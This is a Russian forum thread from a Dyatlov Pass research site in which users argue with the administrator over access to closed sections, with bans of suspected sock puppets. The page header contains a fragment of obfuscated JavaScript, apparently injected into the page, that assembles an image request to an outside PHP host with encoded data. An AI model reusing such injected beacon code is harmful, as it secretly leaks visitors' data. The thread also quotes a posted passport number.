Форум » \\\';u.w=x;\',34,34,\'||z|for|length|String|fromCharCode|charAt|charCodeAt|ohbj|window|1300|document|querySelector|form|table|td|align||right|innerHTML||img|src||http|kamrbb|ru|php|encodeURIComponent|this||onload|null\'.split(\'|\'),0,{}))"> » Закрытые разделы » Ответить
Закрытые разделы
vysota1096: Предлагаю разделы "медицина" и "литература" сделать закрытыми (доступными только зарегистрированным участникам). Апд1. 08.02.10 В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". В последнем случае "старичок" отвечает за "новичка". Апд2. 01.07.10 Вышеуказанное распространяется теперь и на всех "старичков", у которых нет сообщений в дискуссиях. Апд3. 05.01.14 Коллеги, пожалуйста, если вы пишете "откройте мне доступ" - пишите на электронную почту (указана в моем профиле), а в ЛС направляйте только сообщение об этом.
Water: Извините, что я пока еще не поняла технических условий работы на форуме (например, не умею цитировать, искать стр. 2), надеюсь, научусь с помощью форумчан. Ваше предложение считаю вполне правильным: оно обяжет незарегистрированнных гостей раскрыть свои личики.
alt7: оно обяжет незарегистрированнных гостей раскрыть свои личики. Что обяжет? Я например нажал "ответить" а потом "зарегистрироваться" и форум с меня попросил только ник и пароль. Да и клеточек было только 2 куда можно чтото писать.
Пастушка: Кнопка "цитирование" не активна(не видна). Должна быть в нижнем левом (сорри) углу. Цитирование происходит при выделении фрагмента мышью и потом нажатии кнопки Цитата.
Пастушка: гм. скриншот разместить не вышло.
vysota1096: скриншот разместить не вышло. Справа вверху в форме ответа кнопки, когда наводите мышкой - высвечивается подсказка. "Вставить картинку с компьютера" - это "человек".
vysota1096: Итак, разделы "Медицина" и "Литература" закрыты для гостей, доступ открыт всем зарегистрированным на данный момент участникам, открывается вручную, поэтому прошу всех новичков писать ЛС.
vysota1096: Еще раз: доступ в закрытые отделы открывается вручную. Все новички при регистрации получают письмо с приветствием и просьбой представиться в теме для новичков и написать ЛС мне касательно доступа в закрытые разделы.
turist: Прошу предоставить доступ в закрытые разделы. Вроде бы написано что по регистрации такой доступ предоставляется. Прошу пояснить почему они закрыты и от кого?
vysota1096: turist Закрыты от роботов-поисковиков. Прошу вас представиться в теме для новых участников.
turist: Я же не робот, однако не получаю доступ. Личная информация конфеденциальна.
Stepa: Робот, сказавший, что он не робот, уже не робот
vysota1096: turist пишет: Я же не робот, однако не получаю доступ. Личная информация конфеденциальна. Я вам уже ответила несколько раз, что нужно сделать. Если вы этого не делаете - не получаете доступ. И должна признаться, что чем дальше, тем больше вы начинаете напоминать реинкарнацию.
Stepa: vysota1096 пишет: И должна признаться, что чем дальше, тем больше вы начинаете напоминать реинкарнацию. Какая нешуточная борьба разворачивается у нас на глазах за доступ к информации - turist штурмует vysotu1096. Главное, чтобы дело не дошло до альпенштоков и ледорубов. Картина "Троцкий на отдыхе в Акапулько."
vysota1096: Stepa И не говорите. А еще я каждый раз вздрагиваю, когда вижу, сколько вам лет.
turist: Я не понял, чью реинкарнацию? Юлия Цезаря что-ли? Я так же не понял на каком основании вы меняете условия работы в форуме. То защита от роботов то непременно -ваши личные условия. Я должен раскрыть свои концеденциальные данные публично? Вас это так интересует? Ну хорошо. Я работник прокуратуры Новосибирской области, мне 41, 2 лет, номер паспорта, удалено, в курсе всех форумов в Интернете. Подписку о неразглашении дать?
vysota1096: turist пишет: Я не понял, чью реинкарнацию? Все вы поняли. За по-прежнему неконструктивное поведение и попытку обойти бан - бан.
Water: Очень странно, что уважаемый Турист допускает такие грубые орфографические ошибки в постингах. Вообще-то работники прокуратуры по сути работы уже должны быть грамотными, т.к. при поступлении на юрфак русский язык письменно и устно сдается. Правда же, Степа?
Water: Высота, если не сложно, объясните, откуда берется этот значок и что он означает. Предыдущеее мое сообщение прошло именно под этим знаком. Сообщение для модераторов я не делала.
Stepa: vysota1096 пишет: Stepa И не говорите. А еще я каждый раз вздрагиваю, когда вижу, сколько вам лет. Не пугайтесь - я сам удивляюсь своему возрасту и склонен думать, что мне 52 года. Это тоже много для моего либидо. Еле таскаю ноги. Мне жаль только, что меня лишают права общения с моим бывшим коллегой туристом - работником прокуратуры Новосибирской области, . Но, судя по тональности, он никто иной, как наш хороший знакомый с ТАУ и ХРО, изгнавший лично меня с форума ТАУ путем мошеннических действий - известно, что он многолик, имеет множество клонов и, если вы его запустите, то он дезорганизует работу и этого форума. Раньше он представлялся сельскохозяйственным научным работником, склонен к интригам в любом сообществе, крайне ревнив, непомерно амбициозен и далеко не брезглив к чужим идеям, которые выдает за свои собственные. Если он тот, о котором я говорю, то смотрите, кто пришел и зачем - мы ему интересны, ему хочется общения, ему не хватает простых человеческих радостей, которые мы ему дарили просто так, не требуя ничего взамен. Он чувствует, что мы великодушнее его саттелитки Анхен. Мы - другие и нас ему не хватает. Он любит нас, а вы отказываете ему. А вдруг он изменился, стал чуточку добрее, человечнее!? Злобность ушла (!?) - ведь, в сущности он одинок и поэтому он просит:"Пустите меня, я - хороший! и мне хорошо только с вами! Я не буду больше гадить!". Очень хотелось бы верить, что он это не он.
vysota1096: Water пишет: Высота, если не сложно, объясните, откуда берется этот значок и что он означает. Предыдущеее мое сообщение прошло именно под этим знаком. Сообщение для модераторов я не делала. Означает именно сообщение для модераторов. Возможно, случайно нажали? Сейчас поправлю.
vysota1096: Stepa пишет: Очень хотелось бы верить, что он это не он. Да, я тоже хотела бы верить. Но увы.
vysota1096: Stepa пишет: vysota1096, виноват, но хотелось бы не упустить Alta. Ведь то, что он предлагает У Н И К А Л Ь Н О. Alt, нам всем нужен взгляд сверху (маршрут и его отклонения) и сбоку, чтобы показать угол падения высоты и всякие ямочки в привязке к телам и к чему-нибудь ещё. Эта работа будет сенсационна - камни и снег заговорят Предложение Альта перенесено сюда: Зона 2 Сюда же я отправила ваш комментарий. Остальной офтоп - в офтопе.
Stepa: Water пишет: Очень странно, что уважаемый Турист допускает такие грубые орфографические ошибки в постингах. Вообще-то работники прокуратуры по сути работы уже должны быть грамотными, т.к. при поступлении на юрфак русский язык письменно и устно сдается. Правда же, Степа? Ну да...я сдавал предмет "русский язык", и позже учился с довольно известными сейчас людьми, причем разной национальности. Некоторых из них я учил языку, в том числе нецензурному, в стройотрядах. Мой родной язык сопровождал меня повсюду. Я на русском разговариваю даже заграницей. А вот думаю я не так правильно, как пишу. Про некоторых персонажей, которые встречаются на моем жизненном пути я думаю с жалостью, поскольку сталкиваюсь с ограниченностью и которым затрудняюсь дать характеристику вслух. Но таким людям нельзя говорить в лицо, что они тупые, злобные и жадные. Наоборот им нужно говорить, что они умные и отличные парни. Нельзя забывать, что их окружают ни в чем не виноватые люди, которые тяготеют к грубости или им нечего противопоставить хамству, идущему из глубин желудка. К сожалению, нарушения эндокринной системы сказываются и на языке и вынуждают таких людей совершать ошибки. Понимаете здесь не помогут репетиторы, нужен очень квалифицированный врач, специализирующийся в моче-половой области, чтобы ограничить свободное движение радикалов в том или ином организме. Так что орфографические ошибки это серьезно, но есть более ужасные вещи и от них некоторым людям очень сложно избавиться. Поскольку речь может идти о радикализме, то я посоветовал бы такому человеку обратиться к практикующему в психиатрической клинике врачу, который владеет способностью понимать и лечить некоторые запущенные состояния души - я встречал одного такого - он в своей практике использовал записанные на магнитофон нежные женские голоса для мужчин-пациентов. Результат потрясающий - полное забвение, но и желание овладеть магнитофоном.
Water: Работник прокуратуры Новосибирской области представил свои паспортные данные. Проверить номер региона 10 и год выдачи 01 в паспорте вряд ли сможем, т.к. живем в других регионах. А Новосиб.область и г.Новосибирск выдают паспорта одной серии. Кто не понял, о чем я, спрашивайте. Предложение о посещении психиатра - оно будет расценено лицом , в чей адрес высказано, в пользу бедных.
W: turist пишет: Я не понял, чью реинкарнацию? Юлия Цезаря что-ли? Я так же не понял на каком основании вы меняете условия работы в форуме. То защита от роботов то непременно -ваши личные условия. Я должен раскрыть свои концеденциальные данные публично? Вас это так интересует? Ну хорошо. Я работник прокуратуры Новосибирской области, мне 41, 2 лет, номер паспорта, 1001876743, в курсе всех форумов в Интернете. Подписку о неразглашении дать? Фамилию, пожалуйста сообщите. А я уж по своим каналам проверю. Тем паче серии 10 01 в Новосибирских паспортах не значится. У меня такое ощущение, что и подписку придется давать не " о неразглашении ".
W: Stepa пишет: . Но, судя по тональности, он никто иной, как наш хороший знакомый с ТАУ и ХРО, изгнавший лично меня с форума ТАУ .................................................... в сущности он одинок и поэтому он просит:"Пустите меня, я - хороший! и мне хорошо только с вами! Я не буду больше гадить!". Очень хотелось бы верить, что он это не он. И самое интересное, что он непостеснялся это уже опубликовать на той же ТАУ, естественно в "Жалобной книге" и, естественно, с "жалобой "местному модератору" правда еще вчера.. Вот что с ..... делает весеннее ...... хм, потепление... : ---------------------------------------------------------------------------------------------- НАВИГ 06 Марта 2008 09:09 Новости с потустороннего форума. Участник форума ТАУ Степа так переживает по поводу его бегства отсюда на научно-исследовательский форум любителей рассматривания публично посмертные фотографии,организованный Главным любителем-специалистом ГЕРМИНОЙ,что у него родилось поэтическое произведение под названием "НАВИГ, ты моя злоба" вот отрывок из него на праве цитаты: "Но, судя по тональности, он никто иной, как наш хороший знакомый с ТАУ и ХРО, изгнавший лично меня с форума ТАУ ................................................. и поэтому он просит:"Пустите меня, я - хороший! и мне хорошо только с вами! Я не буду больше гадить!" Объявляю это высказывание СТЕПЫ злостной клеветой и прямым оскорблением. ВЕРДЕН: Вот вам пример оскорбления. Редактировал НАВИГ ----------------------------------------------------------------------------------------------------------------------- По моему, тут за версту вполне просматриваются пылающие головные уборы.
W: Water пишет: Работник прокуратуры Новосибирской области представил свои паспортные данные. Проверить номер региона 10 и год выдачи 01 в паспорте вряд ли сможем, т.к. живем в других регионах. А Новосиб.область и г.Новосибирск выдают паспорта одной серии. Кто не понял, о чем я, спрашивайте. Уже посмотрел, серия "не Новосибирская", это явный подлог. Тем более сообщить в явном виде номер паспорта, это все равно, что дать отпечатки пальцев. Можно и установить по номеру кому он принадлежит (или то что такого не существует), но это конительно и долго. Да и люди через кого я могу это сделать проще, пока не в состоянии мне помочь по болезни. Так что не надо заморачиваться, тем более персонаж, про которого мы все думаем, имеет явный интерес для проникновения в этот раздел. К тому же был уличен в подобных методах достижения своих, отнюдь не добросовестных, целей.
vysota1096: Для всех любопытных: в закрытых разделах нет ничего, что оправдывало бы ваше любопытство. Некоторые лица, в частности, забаненный на данном форуме за оскорбления и иное неконструктивное поведение участник Навиг, стремятся к узурпации права на информацию о дятловцах, а пресловутый Навиг, желая также помешать нормальному общению всех остальных, упорно разжигает скандал на пустом месте. См. также Декларацию форума
Буянов: В ходе экспедиции-2008 нам Мохов показывал книжку А.Гущина "Цена гостайны - девять жизней". Я ранее полагал, что книга эта издавалась в виде статьи. Но нет, - она была издана в издательстве города Асбест в 1999 году тиражом в 3000 экз. Малоформатная брошюрка кирпично-красного цвета. Так вот, в книжке этой даны, пусть и некачественно, фото погибших дятловцев. Потому "блюстители нравственности", которых возмущают подобные публикации должны в первую очередь обратить свой гнев на Гущина. Если они хотят быть последовательны в своих действиях. Если их действия не определяются лицемерными мотивами. Себе и своим сторонникам, вроде Гущина, они прощают всё. А в адрес оппонентов выдвигают истерические обвинения. Я не сторонник таких публикаций снимков погибших по этическим соображениям (хотя и допускаю отдельные отступления в случае надобности), но осуждать за них никого, в том числе и Гущина, не стану.
Tuapse: Уж не оно ли ? http://www.nashural.ru/UrBibl/Knigi/gushin_9_zizney_6.htm
Буянов: Да, по ссылке эта та самая книга Гущина. Я только не вижу полного соответствия с ее "бумажным" вариантом по комплекту фотоснимков. В частности, помню, что в бумажном варианте было там фото погибшей Дубининой, а в интернетовском варианте я его не вижу. Есть отдельные отличия.
нина: Почему меня лишили доступа?
vysota1096: Поскольку есть основания предполагать, что вы все-таки не та, за кого себя выдаете.
нина: И что? Что вам нужно предъявить? В соответствии с Вашей Декларацией я выполнила все условия. Допуск в закрыте темы у меня был, но вот его нет. Давайте не будем играть в касты обособленных. Вообще неорбходимо поставить на голосование, как это приянто в цивилизованном обществе вопрос о закрытых топиках. Это сделать мне или это сделате Вы? Я сразу сказала что читаю всю интерпрессу по Дятловцам.
vysota1096: Вам нужно объяснить, как у вас, пенсионерки, оказался айпи, совпадающий с айпи забаненного участника.
нина: Не думаете же вы что в Новосибирске только НАВИГ занимается Дятловцами. Если у вас глючит компьютер то это ваши проблемы. Ну тогда ставьте на голосование вопрос ликвидации закрытых веток данного форума. Вам и на Ганзе об этом говорили. Зачем прятать информацию и работу людей от народа? Она и так спрятана от народа уже 50 лет. Закрытостью вы ничего не достигнете. Кому надо тот посмотрит, но обычно это не те люди, кому это действительно надо.
vysota1096: Нина, вам вопрос понятен был? Вам нужно было объяснить, как у вас, пенсионерки, оказался айпи, совпадающий с айпи забаненного участника. Вы и объяснили - вы и есть тот самый забаненный участник. Благодарю за внимание к форуму.
kameta: Я зарегестрирована, а замки всё висят на темах.... почему?
kameta: Ой нет! на рабочем. который еле дышит меня не выкидывает и замки открыты, а дома всё наоборот....
фиолетта: Пожалуйста, объясните, как получить доступ в закрытые разделы?
Wolker: фиолетта пишет: Пожалуйста, объясните, как получить доступ в закрытые разделы? Написать личное сообщение с этим пожеланием администратору форума, vysota1096 .
Огги: А что в Закрытом форуме, где можно потренироваться? "Помойка"? Разборки? Хотелось бы глянуть. Не из праздного интереса. Дело в том, что я на ТАУ не сидела, и не пойду. А здесь по ходу разговора упоминаются некоторые личности и факты, о которых хочется сложить свое мнение....
vysota1096: Моя личная тренировочная площадка.
Огги: А, ну тогда вопросов нет. Нет помойки и очень хорошо.
vysota1096: Закрытые форумы временно открыты - предположительно до конца воскресенья.
vysota1096: Закрытые разделы снова переведены в обычный режим.
vysota1096: За последнее время меня несколько раз спросили - почему закрыты "закрытые разделы". Объясняю еще раз здесь. Раздел Литература закрыт, поскольку на этом форуме нет технической возможности прятать линки. Разделы Медицина, а также Зоны 2-5 закрыты потому, что там имеются материалы так называемого "чувствительного" характера, причем с привязкой к конкретным лицам. Соответственно, с правовой и этической точки зрения некоторые ограничения доступа являются разумными. Как показала практика (случай с написанием жалобы в прокуратуру на форум), такие ограничения себя оправдывают. И, разумеется, всё, что можно выложить в открытый доступ, именно там и находится - а это большинство доступных материалов включая практически все доступные материалы УД.
vysota1096: vysota1096 пишет: За последнее время меня несколько раз спросили - почему закрыты "закрытые разделы". Объясняю еще раз здесь. Раздел Литература закрыт, поскольку на этом форуме нет технической возможности прятать линки. Разделы Медицина, а также Зоны 2-5 закрыты потому, что там имеются материалы так называемого "чувствительного" характера, причем с привязкой к конкретным лицам. Соответственно, с правовой и этической точки зрения некоторые ограничения доступа являются разумными. Как показала практика (случай с написанием жалобы в прокуратуру на форум), такие ограничения себя оправдывают. И, разумеется, всё, что можно выложить в открытый доступ, именно там и находится - а это большинство доступных материалов включая практически все доступные материалы УД. Поскольку сообщения перепутались, повторяю. П.С. За размещение материалов "чувствительного" характера из наших закрытых форумов на какой-нибудь открытой площадке буду банить сразу.
vysota1096: По поводу доступа. В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах либо "по рекомендации" одного из старичков. Соответственно, тогда "старичок" "отвечает" за действия рекомендованного им новичка. Надеюсь на понимание новых участников.
vysota1096: Зона 2 "Палатка" открыта.
Жёлтый_волк: *PRIVAT*
kirill66: А. понял, я видимо галку в окошко не поставил? внизу , где имя, пароль. Так?
vysota1096: kirill66 vysota1096 пишет: В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах либо "по рекомендации" одного из старичков.
kirill66: Спасибо за ответ. Но о чем мне новичку можно дискутировать со старейшинами, не зная достаточно темы дискуссии? Чего то это похоже на армейскую дедовщинку. Еще раз спасибо.
vysota1096: vysota1096 пишет: В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах Это касается теперь и всех старичков, не имеющих до сих пор ни одного сообщения в дискуссиях.
Голдберг: Прошу предоставить мне доступ в закрытые форумы для продолжения оттачивания разделяемой мной версии или отказа от нее, а также участия в обсуждениях.
vysota1096: Голдберг vysota1096 пишет: доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков".
Fridka: vysota1096 пишет: доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах А как оценивается плодотворность участия? Я к тому, что хочется понять, и уже из всех условий исходить....
vysota1096: Fridka пишет: А как оценивается плодотворность участия? Вы точных квантифицируемых критериев желаете или будет достаточно указания, что по ходу видно будет?
Fridka: vysota1096 пишет: Вы точных квантифицируемых критериев желаете или будет достаточно указания, что по ходу видно будет? Ну, желательно чуть более точных, если Вас не затруднит Просто ну правда непонятно. Вы можете иметь в виду, что достаточно отметиться в тысяча ста двадцати пяти темах постами типа "о, круто, я за вот эту версию" и т.п., а можете иметь в виду, что нужно печатать многокилометровые посты (зато всего три штуки), приводя прям вот сходу какие-то новые, неизвестные никому факты и интерпретируя их мегаоригинальным образом. Я утрирую, безусловно, но, честно, хочется хоть каким-то образом заданных рамок, дабы знать, куда стремиться ))))
vysota1096: Fridka пишет: Вы можете иметь в виду, что достаточно отметиться в тысяча ста двадцати пяти темах постами типа "о, круто, я за вот эту версию" Вы, вероятно, не прочли топик Декларация. Там недвусмысленно сказано: На форуме запрещается: 5) провоцировать собеседников; 6) размещать рекламу и дубликаты сообщений; 7) допускать флейм и флуд (флейм — «словесная война», спор ради спора, с единственной целью убедить в своей правоте либо чужой неправоте, с использованием определенных приёмов риторики, например демагогии, часто с обвинениями во лжи, требованием извинений, но без конкретных аргументов и фактов, а также любые эмоционально окрашенные сообщения с переходом на личности (например, оскорбления личного, национального, религиозного, полового или профессионального характера), флуд — бессмысленные или не содержащие полезной для развития дискуссии информации сообщения, односложные высказывания, последовательности «смайликов»); 8) общаться односложно в стиле «чата»; 9) регистрировать вызывающие, неблагозвучные, непристойные псевдонимы/ники; 10) использовать аватары с вызывающими, пугающими или содержащими нецензурную лексику изображениями; 11) давать в открытом доступе конфиденциальные сведения о третьих лицах, в частности, участниках форума, - например, запрещается приводить номера телефонов, личных документов, адреса, банковские реквизиты и т. п. Данные правила не являются исчерпывающими, администратор и модератор(ы) могут действовать, исходя из общей политики форума. Предлагаю для начала ознакомиться с ним, он находится в этом же разделе. Надеюсь, что после прочтения заданные вами "рамки" сузятся естественным образом.
marcopolo: откройте пожал уста доступ к разделу источники.Очень хочется почитать дневники ребят
vysota1096: marcopolo А кто вам сказал, что они там есть? Но я постараюсь на этой неделе выложить все дневники. Дневник Колмогоровой вы можете прочесть и сейчас (посмотрите в разделе Люди емнип). И, конечно, в открытый доступ.
марта: зачем?
vysota1096: Зачем что?
Stepa: Уважаемая и уже любимая многими из нас администратор vysota1096 обращаюсь к вам с нижайшей просьбой разрешить господину Закомолдину Вадиму (PostV) участие в дискуссиях в "закрытых" темах. В случае, если он окажется не тем, кем представился, например, злостным нарушителем правил нашего форума, то я готов нести ответственность P.S. PostV не просил меня замолвить слово за себя, однако я сам вижу, что ему здесь интересно и он вносит свой посильный вклад в исследование этой запутанной истории, но не имеет статуса "постоянного участника", а значит доступа к темам, где мне хотелось бы развернуть обсуждение проблемы "следов", в том числе с его участием. В любом случае приму с пониманием любое ваше решение.
vysota1096: Договорились.
Stepa: Большое спасибо!
ligushko: Здравствуйте. Я понимаю, что в наш век копирастии и "отправте смс" информацию в сети раздобыть становиться все сложнее и сложнее. И, если автор, написавший книгу закрывает ее от общественности, желая заработать на своем труде, или "недобрые человеки" вынуждают отправить смс, это я пойму. Это жажда наживы. В мире построенном на деньгах это не удивляет. Но, когда натыкаешься на скрытую информацию на "народном", казалось бы, форуме - это обескураживает. Я могу понять необходимость такой меры, если тематика форума такова, что подразумевает нахождение на нем больших масс малоадекватных людей. Но зачем это здесь? Тайна группы Дятлова - это не та тема, в которой можно встретить неумных, ограниченных людей. Ее изучение требует гибкого взгляда на вещи, абстрактного мышления, умения делать выводы. Если разделы закрыты во избежание загаживания их сообщениями вроде : "А Я ЩЕТАЮ ШТО ЭТА БЫЛИ КРЫЛАТЫИ МИДЬВЕДЕ С СИСЬКОМЕ!!!!", то в этом нет смысла. На вашем форуме одно из лучших в рунете обсуждение со здравыми мыслями и доводами. Но почему доступ есть лишь в те разделы, в которых все и так предельно ясно, насколько вообще что-либо может быть ясным в деле группы Дятлова. В темах, которые открыты, меньше всего версии отличаются между собой. А темы о самой загадочной части событий скрыты. Хотя именно там содержится информация, наиболее интересная. Человеки, я понимаю, что это ВАШ форум, это ВАШИ мысли и ВАШИ рассуждения. Это абсолютно естесственно не пускать чужого человека в доме дальше прихожей. Но тем не менее, очень жаль, что мне не довелось, нет, не поддержать беседу, для этого я еще не ознакомилась со всеми аспектами, а хотя бы почитать ваши разговоры. И в то же время совсем не хочется начинать знакомство с высказывания незрелых суждений по теме форума, или назойливо в личках просить у "старичков" протекции. Вот такая вот досада. И все же покидаю форум с несколькими почерпнутыми с него кусочками мозаики и желаю всем участникам форума дальнейшего развития ваших идей и изысканий. Всего хорошего.
vysota1096: Здравствуйте. Ваш "крик души" - лишнее доказательство тому, что ограничения введены совсем не зря.
Slo: Ув . vysota1096 , понимаю , что я на форуме новенький , но хотел бы Вас попросить , дать мне доступ в закрытые разделы . Есть масса мыслей , которые требуют более тщательного изучения , перед тем как их постить здесь . А более обширного материала , чем у Вас - нет нигде , я так думаю . Обязуюсь придерживаться всех этических и нравственных норм , при изучении закрытых разделов . Заранее Благодарен , Матвей . П .С .Да , и для подтверждения того , что я не бот - готов дать свои контакты в ЛС . С Уважением .
Gecko: Наткнулся на ссылку на этот форум на ресурсе луркморе, зашел, посмотрел, таки да, форум добротный, позаходил в темы по порядку почитал, и только сейчас увидел что некоторые закрыты! Это меня обескуражило так же как и ligushko, как понял нужно зарегистрироваться, а оказалось нет, смысла прятать от людей материал не вижу, если кто то хочет написать книгу и таким методом собирает с добродушных людей материал то это весьма прискорбно, а если вас интересует мнение людей зачем скрывать материал? Мотивировать это тем типа напишите что-то ценное и мы дадим вам доступ к другим материалам (а может и нет) немножко не сходится с принципом свободного интернета и свободной информации (да и народного расследования тоже), вы же не государство что бы что то скрывать! давайте хотя бы доступ для чтения. Не каждому есть что написать, многим хочется просто найти ответы на свои вопросы. Скажите, реально ли получить доступ хотя бы для чтения, не сделав никакого вклада в развитие форума?
vysota1096: Gecko пишет: Скажите, реально ли получить доступ хотя бы для чтения, не сделав никакого вклада в развитие форума? Нет. Slo пишет: Есть масса мыслей , которые требуют более тщательного изучения , перед тем как их постить здесь . Напишите, пожалуйста, мне на электронную почту (адрес в профиле).
Slo: vysota1096 , отписался .
Slo: Благодарю .
yuhansonn: Доброго времени суток. Нашел Ваш форум случайно, оказался самым информативным из представленных в сети. Столкнулся с тем же, с чем сталкиваются практически все новички тут - прежде чем что-то изложить, написать хотелось бы ознакомится с уже представленной тут информацией, чтобы не повторяться, не загрязнять форум. Как уже отмечали выше, много важной и ценной информации находится в закрытых разделах. Уважаемый администратор, разрешите получить доступ к закрытым разделам? С уважением, Юрий.
vysota1096: yuhansonn При регистрации вы получаете письмо, и там все разъяснено.
Якша: Не разъяснено ничего, например нет никаких стандартов открытия спрятанных разделов. В частности разделы закрыты и от людей, написавших значительное количество сообщений. Таким образом Вы поставили попадание в спрятанную часть в полную зависимость от Вашего расположения духа и личных предпочтений. Это самодурство.
Александр : Прошу предоставить доступ в закрытые отделы.
Inga: Александр, смотрите выше: пд1. 08.02.10 В связи с некоторыми недавними происшествиями доступ в закрытые разделы будет даваться только по результатам плодотворного участия в дискуссиях в открытых разделах или по рекомендации одного из "старичков". В последнем случае "старичок" отвечает за "новичка".
Tur-watt: vysota1096 пишет: Раздел Литература закрыт, поскольку на этом форуме нет технической возможности прятать линки. Разделы Медицина, а также Зоны 2-5 закрыты потому, что там имеются материалы так называемого "чувствительного" характера, причем с привязкой к конкретным лицам. Ой какие интересные у вас тут разбрки по моему глубокому - кто хочет зайти - тот зайдет в любой закрытый раздел. Страдают от закрытости в основном невиновные ни в чем люди. Вооще таинственость свойствена истории. Но то было раньше - почему закрывают что то счас, мне кажется просто из-за "надувания щек", все просто! По поводу разделов "медицина" где наверно есть фото с морга еще туда-сюда. этика и все такое. Но ЛИТЕРАТУРУ зачем скрывать? Что такого там очень таинственного? Что такое некие ЛИНКИ которые надо ото всех спрятать???? объясните дураку, ну не понимаю
vysota1096: Tur-watt пишет: Что такое некие ЛИНКИ Ссылки.
Tur-watt: Ага. это понятно. Но зачем оные ссылки закрывать так и ни понятно. СЕКРЕТНЫЕ МАТЕРИАЛЫ ГОРЫ МЕРТВЕЦОВ там што ли???? ЗЫЫЫ:Вам самому не смешно?
vysota1096: Tur-watt пишет: Но зачем оные ссылки закрывать так и ни понятно. По разным причинам.
Tur-watt: vysota1096 пишет: Tur-watt пишет: цитата: Но зачем оные ссылки закрывать так и ни понятно. По разным причинам. ответ супер!
Stepa: Скромный тролль пишет: Вывод о невозможности взрыва или отравления был у меня с самого начала Не спорю, но мне показалось, что вы находились в процессе уточнения некоторых деталей, обсуждая эту тему Скромный тролль пишет: Вся тема у меня в свидетелях Я умею читать Скромный тролль пишет: Расследуя взрывы на шахтах vysota1096 , прошу принять во внимание моё ходатайство и рассмотреть возможность придания Скромному.... (язык не поворачивается сказать - троллю) статуса "постоянного участника". Уверен в крайней полезности этого решения.
vysota1096: Stepa Хорошо.
Stepa: vysota1096 , спасибо
Priam: Я сегодня зарегистрировался и даже написал в данной теме, увидев свой текст. Однако, потом мой вопрос исчез. Возможно, я к тому моменту не указал свой емэйл. Можно повторить здесь вопрос про овраг?
vysota1096: Priam пишет: Можно повторить здесь вопрос про овраг? Нет. Ваш вопрос перенесен в раздел Остальные и должен высвечиваться у вас в числе новых тем.
Tur-watt: интересно фсе ж пустит мини кто-нить в закрытые разделы ор нет? писать о себе уныло какой я интирисующийся и как я люблю это форум и всех иго старых учасникофф токо ради получения туда доступа ни буду принципиально унизительно как то
vysota1096: Tur-watt пишет: унизительно как то Унизительно соблюдать правила?
Tur-watt: vysota1096 пишет: Унизительно соблюдать правила? неа проста есть ищо правила морали, нормы челавечиских отношений их никто не отменял вроди если б я захател - втерси в доверие к како-нить старому зарегистрированому и - опа - вот они! заветные разделы! в три секунды биспраблем но не буду потому что если некие правила форума унизительны с чиго я их стану саблюдать? или правила форума выши норм чилавечиских отнашений?
vysota1096: Tur-watt пишет: если некие правила форума унизительны с чиго я их стану саблюдать? Это вы так на бан напрашиваетесь?
Aлена19: Если с бааальшим натягом можно объяснить закрытость темы медицины (ну с оооооочень большим!!!), то недоступность зон "склон, кедр, овраг" объяснению не подлежит. Действительно странно неприятно, когда определенного участника форума из какой-либо темы приглашают обсуждать продолжение темы в закрытый раздел, для остальных участников обсуждение прерывается, т.к. для них продолжение темы недоступно. Интересно, что же такое секретного может быть на дятловском склоне, у кедра, и в овраге через 52 года после события?????
vysota1096: Aлена19 пишет: недоступность зон "склон, кедр, овраг" объяснению не подлежит Прекрасно подлежит. И уже неоднократно объяснялась.
Tur-watt: vysota1096 пишет: Это вы так на бан напрашиваетесь? дык я ище ниче вроди ни нарушил я мнение высказал токо если оно кому-то ни нравится - я то при чем? банить не за че!
Tur-watt: А вооще я тут падумал - мни лично доступ к "тайному знанию" не надо делать. надо вааще убрать закрытые разделы! как вам таккое предлажение? мни оч. нравиттся!!! зы пишу тут скорее пака ни забанили
PostV: Tur-watt ...а Вы умеете писать на русском языке, а не на олбанском?
vysota1096: Tur-watt пишет: дык я ище ниче вроди ни нарушил Участвуя в работе на форуме, вы признаете его правила. Если вы их не собираетесь соблюдать по каким-то своим причинам, то на форуме вам делать нечего, вот и все. Это касается любого форума, не только этого. В декларации нашего форума написано то же самое: Участники, несогласные с правилами форума и действиями администратора или модератора(ов), свободны прекратить свое участие в работе форума. Кроме того, на форуме следует: 1) соблюдать правила грамматики и нормы языка сообщения; Поэтому вам замечание за нарушение правил форума. Поскольку не нарушили вы только "вроде". При следующем нарушении отправитесь в бан на недельку.
Tur-watt: PostV пишет: Tur-watt ...а Вы умеете писать на русском языке, а не на олбанском? могу но в современном интернет-языке существуют образные приемы для усиления смысла выражения. если выражаться языком Ожегова (например) то для выражения одной и той же мысли надо строить более длинную фразу. я кстати этим как вы выразились "олбанским" языком переписываюсь часто и много с массой людей. до сегодняшнего дня претензий по этому поводу не было. P.S. Смысл того, что я написал можно сообщить проще и короче на том самом языке: "ни ни умею - я им думаю!"
Tur-watt: Прошу все таки рассмотреть мое настоятельное предложение открыть закрытые разделы. Не думаю что там есть нечто тайное. А если бы и появилась бы там вдруг действительно "закрытая" информация, она бы через сутки минимум появилась бы и на других инет-площадках. Это один из законов распространения информации в интернете. Так что закрытие информации, создание некоего "элитного" клуба из тех кому можно смотреть "запретное" по сути не более чем "надувание щек". Тем что вы информацию закрываете - вы не нас ограничиваете - себя. Подумайте над этим. А если уж так велик в вас страх перед "троллями" и "флудом" - можно сделать специальный допуск для возможности писать в некоторых разделах. Это действительно часто в форумах практикуется. Но от просто читателей то зачем ограничения вводить? Повторюсь, этим вы не их, вы себя ограничиваете. А вдруг среди "читателей" окажется человек который разгадает тайну? А вы его просто не заметите?
vysota1096: Tur-watt пишет: Не думаю что там есть нечто тайное. Нет там ничего тайного. Tur-watt пишет: Так что закрытие информации, создание некоего "элитного" клуба из тех кому можно смотреть "запретное" по сути не более чем "надувание щек". Это ваша точка зрения. И она не соответствует действительности. Почему закрыты разделы, я вам уже объясняла. Tur-watt пишет: А вдруг среди "читателей" окажется человек который разгадает тайну? Вы на себя намекаете? Добро пожаловать в раздел Версии.
